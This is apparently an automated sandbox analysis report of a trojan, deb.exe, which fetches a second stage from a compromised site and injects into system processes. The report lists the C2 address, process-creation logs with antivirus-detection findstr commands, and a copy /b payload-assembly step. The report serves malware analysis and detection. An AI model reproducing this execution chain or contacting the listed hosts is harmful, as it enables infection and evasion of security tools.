Windows Analysis Report
deb.exe

Source: global traffic

TCP traffic: 192.168.2.6:49792 -> 5.35.36.120:7957

Source: Joe Sandbox View

ASN Name: INF-NET-ASRU INF-NET-ASRU

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.36.120

Source: C:\Users\user\Desktop\deb.exe

Code function: 0_2_00007FF702021460 InternetOpenA,InternetOpenA,InternetOpenUrlA,InternetOpenUrlA,InternetCloseHandle,InternetReadFile,InternetReadFile,InternetCloseHandle,InternetCloseHandle,

0_2_00007FF702021460

Source: global traffic

HTTP traffic detected: GET /salah/wp-includes/assets/ping.php HTTP/1.1User-Agent: EXEFetcherHost: ebitm.co.ukCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: ebitm.co.uk
Source: global traffic	DNS traffic detected: DNS query: dVxTXNLGomMFsmfMnuD.dVxTXNLGomMFsmfMnuD

Source: downloaded_exe.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCA-1.crt0
Source: downloaded_exe.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCodeSigningCA-1.crt0
Source: downloaded_exe.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: downloaded_exe.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: downloaded_exe.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: Flux.com.5.dr, Billion.4.dr	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: Flux.com.5.dr, Billion.4.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: downloaded_exe.exe, 00000004.00000002.2276341420.0000000000420000.00000004.00000001.01000000.00000006.sdmp, Flux.com.5.dr, Billion.4.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: Flux.com.5.dr, Billion.4.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: downloaded_exe.exe, 00000004.00000002.2276341420.0000000000420000.00000004.00000001.01000000.00000006.sdmp, Flux.com.5.dr, Billion.4.dr	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: downloaded_exe.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDCA-1.crl08
Source: downloaded_exe.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: downloaded_exe.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: downloaded_exe.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: downloaded_exe.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/assured-cs-g1.crl00
Source: downloaded_exe.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: downloaded_exe.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: downloaded_exe.exe.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDCA-1.crl0w
Source: downloaded_exe.exe.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: downloaded_exe.exe.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: downloaded_exe.exe.0.dr	String found in binary or memory: http://crl4.digicert.com/assured-cs-g1.crl0L
Source: downloaded_exe.exe.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: downloaded_exe.exe.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: downloaded_exe.exe, 00000004.00000000.2260239937.0000000000409000.00000002.00000001.01000000.00000006.sdmp, downloaded_exe.exe, 00000004.00000002.2276313761.0000000000409000.00000002.00000001.01000000.00000006.sdmp, downloaded_exe.exe.0.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: downloaded_exe.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: downloaded_exe.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: downloaded_exe.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0L
Source: downloaded_exe.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: downloaded_exe.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0O
Source: Flux.com.5.dr, Billion.4.dr	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: Flux.com.5.dr, Billion.4.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: downloaded_exe.exe, 00000004.00000002.2276341420.0000000000420000.00000004.00000001.01000000.00000006.sdmp, Flux.com.5.dr, Billion.4.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: downloaded_exe.exe, 00000004.00000002.2276341420.0000000000420000.00000004.00000001.01000000.00000006.sdmp, Flux.com.5.dr, Billion.4.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: Flux.com.5.dr, Billion.4.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Flux.com.5.dr, Billion.4.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: Amcache.hve.24.dr	String found in binary or memory: http://upx.sf.net
Source: Flux.com, 0000000E.00000000.2310521086.0000000000965000.00000002.00000001.01000000.00000008.sdmp, Fo.4.dr, Flux.com.5.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/X
Source: downloaded_exe.exe.0.dr	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: svchost.exe, 00000012.00000002.2631500679.0000000002D0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.2631091896.000000000089C000.00000004.00000010.00020000.00000000.sdmp, fontdrvhost.exe, fontdrvhost.exe, 00000016.00000002.2718992288.000001479FB30000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: https://5.35.36.120:7957/457126a29df4c81310/0h5bjd37.h9so5
Source: svchost.exe, 00000012.00000002.2631500679.0000000002D0C000.00000004.00000020.00020000.00000000.sdmp, fontdrvhost.exe, 00000016.00000002.2718992288.000001479FB30000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: https://5.35.36.120:7957/457126a29df4c81310/0h5bjd37.h9so5kernelbasentdllkernel32GetProcessMitigatio
Source: svchost.exe, 00000012.00000002.2631091896.000000000089C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://5.35.36.120:7957/457126a29df4c81310/0h5bjd37.h9so5x
Source: svchost.exe, 00000012.00000003.2563821039.0000000002D9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cloudflare-dns.com/dns-query
Source: svchost.exe, 00000012.00000003.2563821039.0000000002D9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cloudflare-dns.com/dns-queryPOSTContent-TypeContent-LengthHostapplication/dns-message%dMachi
Source: deb.exe, 00000000.00000002.2267682167.0000025990A0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ebitm.co.uk/d
Source: deb.exe	String found in binary or memory: https://ebitm.co.uk/salah/wp-includes/assets/ping.php
Source: deb.exe, 00000000.00000002.2267682167.00000259909A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ebitm.co.uk/salah/wp-includes/assets/ping.php:N
Source: deb.exe	String found in binary or memory: https://ebitm.co.uk/salah/wp-includes/assets/ping.phpTEMP
Source: deb.exe, 00000000.00000003.2255498764.0000025990A66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ebitm.co.uk/salah/wp-includes/assets/ping.phpY
Source: deb.exe, 00000000.00000002.2267682167.0000025990A0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ebitm.co.uk/t
Source: deb.exe	String found in binary or memory: https://gcc.gnu.org/bugs/):
Source: Flux.com.5.dr, Billion.4.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: downloaded_exe.exe.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: Billion.4.dr	String found in binary or memory: https://www.globalsign.com/repository/0

Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710

Source: unknown

HTTPS traffic detected: 185.199.220.71:443 -> 192.168.2.6:49710 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe

Code function: 4_2_004050F9 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

4_2_004050F9

Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe

Code function: 4_2_004044D1 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

4_2_004044D1

Source: svchost.exe, 00000012.00000003.2546815827.0000000005060000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: DirectInput8Create

memstr_45cfe833-3

Source: svchost.exe, 00000012.00000003.2546815827.0000000005060000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_d0a8d349-a

Source: Yara match	File source: 18.3.svchost.exe.5060000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.3.svchost.exe.4e40000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000003.2546815827.0000000005060000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2546587456.0000000004E40000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 6812, type: MEMORYSTR

Source: C:\Windows\System32\fontdrvhost.exe	Code function: 22_2_000001479FB31AA4 NtAcceptConnectPort,NtAcceptConnectPort,	22_2_000001479FB31AA4
Source: C:\Windows\System32\fontdrvhost.exe	Code function: 22_2_000001479FB30AC8 NtAcceptConnectPort,NtAcceptConnectPort,	22_2_000001479FB30AC8
Source: C:\Windows\System32\fontdrvhost.exe	Code function: 22_2_000001479FB315C0 NtAcceptConnectPort,	22_2_000001479FB315C0
Source: C:\Windows\System32\fontdrvhost.exe	Code function: 22_2_000001479FB31CF4 NtAcceptConnectPort,CloseHandle,	22_2_000001479FB31CF4

Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe

Code function: 4_2_004038AF EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,

4_2_004038AF

Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	File created: C:\Windows\HandsLegally	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	File created: C:\Windows\CompaniesKitchen	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	File created: C:\Windows\TextObjective	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	File created: C:\Windows\BattlefieldBeliefs	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	File created: C:\Windows\DressingThesaurus	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	File created: C:\Windows\MarshallCommunications	Jump to behavior

Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF702074340	0_2_00007FF702074340
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF702055360	0_2_00007FF702055360
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF70205C390	0_2_00007FF70205C390
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF7020343A0	0_2_00007FF7020343A0
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF702030440	0_2_00007FF702030440
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF70207C4B0	0_2_00007FF70207C4B0
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF7020474F0	0_2_00007FF7020474F0
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF70206D4F0	0_2_00007FF70206D4F0
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF702056138	0_2_00007FF702056138
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF70205B180	0_2_00007FF70205B180
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF7020541A0	0_2_00007FF7020541A0
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF70207B1D0	0_2_00007FF70207B1D0
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF70206C1D0	0_2_00007FF70206C1D0
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF7020651ED	0_2_00007FF7020651ED
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF702040220	0_2_00007FF702040220
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF702068250	0_2_00007FF702068250
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF70204C730	0_2_00007FF70204C730
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF70207D730	0_2_00007FF70207D730
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF7020607B0	0_2_00007FF7020607B0
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF7020B07F0	0_2_00007FF7020B07F0
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF7020737F0	0_2_00007FF7020737F0
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF702063810	0_2_00007FF702063810
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF70206E800	0_2_00007FF70206E800
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF702041870	0_2_00007FF702041870
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF7020808B0	0_2_00007FF7020808B0
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF702024900	0_2_00007FF702024900
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF70204D660	0_2_00007FF70204D660
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF702035700	0_2_00007FF702035700
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF70206FB20	0_2_00007FF70206FB20
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF702047BF0	0_2_00007FF702047BF0
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF702056C2A	0_2_00007FF702056C2A
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF702063C1D	0_2_00007FF702063C1D
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF702072C40	0_2_00007FF702072C40
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF702068CF0	0_2_00007FF702068CF0
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF70204CD10	0_2_00007FF70204CD10
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF702030950	0_2_00007FF702030950
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF70207E990	0_2_00007FF70207E990
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF7020529F0	0_2_00007FF7020529F0
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF70205C9FF	0_2_00007FF70205C9FF
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF70202CF50	0_2_00007FF70202CF50
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF7020D1F40	0_2_00007FF7020D1F40
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF7020720F0	0_2_00007FF7020720F0
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF702037100	0_2_00007FF702037100
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF702061D70	0_2_00007FF702061D70
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF702059DA0	0_2_00007FF702059DA0
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF70203DDC0	0_2_00007FF70203DDC0
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF702064DE0	0_2_00007FF702064DE0
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF702038E50	0_2_00007FF702038E50
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF70206AE80	0_2_00007FF70206AE80
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF702074EB0	0_2_00007FF702074EB0
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF70205DEA1	0_2_00007FF70205DEA1
Source: C:\Users\user\Desktop\deb.exe	Code function: 0_2_00007FF702079F10	0_2_00007FF702079F10
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Code function: 4_2_0040737E	4_2_0040737E
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Code function: 4_2_00406EFE	4_2_00406EFE
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Code function: 4_2_004079A2	4_2_004079A2
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Code function: 4_2_004049A8	4_2_004049A8
Source: C:\Windows\System32\fontdrvhost.exe	Code function: 22_2_000001479FB30C70	22_2_000001479FB30C70

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\542181\Flux.com 1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49

Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Code function: String function: 004062CF appears 58 times
Source: C:\Users\user\Desktop\deb.exe	Code function: String function: 00007FF70202F530 appears 32 times
Source: C:\Users\user\Desktop\deb.exe	Code function: String function: 00007FF7020EA130 appears 77 times
Source: C:\Users\user\Desktop\deb.exe	Code function: String function: 00007FF7020EA1D0 appears 56 times
Source: C:\Users\user\Desktop\deb.exe	Code function: String function: 00007FF7020EA040 appears 87 times

Source: C:\Users\user\AppData\Local\Temp\542181\Flux.com

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1916 -s 972

Source: deb.exe

Static PE information: Number of sections : 20 > 10

Source: classification engine

Classification label: mal100.troj.evad.winEXE@31/29@2/2

Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe

4_2_004044D1

Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe

Code function: 4_2_004024FB CoCreateInstance,

4_2_004024FB

Source: C:\Users\user\Desktop\deb.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\ping[1].php

Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4196
Source: C:\Windows\SysWOW64\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\MSCTF.Asm.{00000009-9b8d4256-c832-6aaaf5-23963194fd2a}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5144:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2548:120:WilError_03

Source: C:\Users\user\Desktop\deb.exe

File created: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe

Source: deb.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\deb.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Users\user\Desktop\deb.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\deb.exe "C:\Users\user\Desktop\deb.exe"
Source: C:\Users\user\Desktop\deb.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\deb.exe	Process created: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe "C:\Users\user\AppData\Local\Temp\downloaded_exe.exe"
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Estimates Estimates.cmd & Estimates.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 542181
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "exports" Fleece
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Stewart + ..\Universe + ..\Ferry + ..\Namely + ..\Catholic + ..\Understanding + ..\Invalid + ..\Del + ..\Premier b
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\542181\Flux.com Flux.com b
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\542181\Flux.com	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"
Source: C:\Users\user\AppData\Local\Temp\542181\Flux.com	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1916 -s 972
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\System32\fontdrvhost.exe "C:\Windows\System32\fontdrvhost.exe"
Source: C:\Windows\System32\fontdrvhost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 4196 -s 136
Source: C:\Users\user\Desktop\deb.exe	Process created: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe "C:\Users\user\AppData\Local\Temp\downloaded_exe.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Estimates Estimates.cmd & Estimates.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 542181	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "exports" Fleece	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Stewart + ..\Universe + ..\Ferry + ..\Namely + ..\Catholic + ..\Understanding + ..\Invalid + ..\Del + ..\Premier b	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\542181\Flux.com Flux.com b	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\542181\Flux.com	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"	Jump to behavior
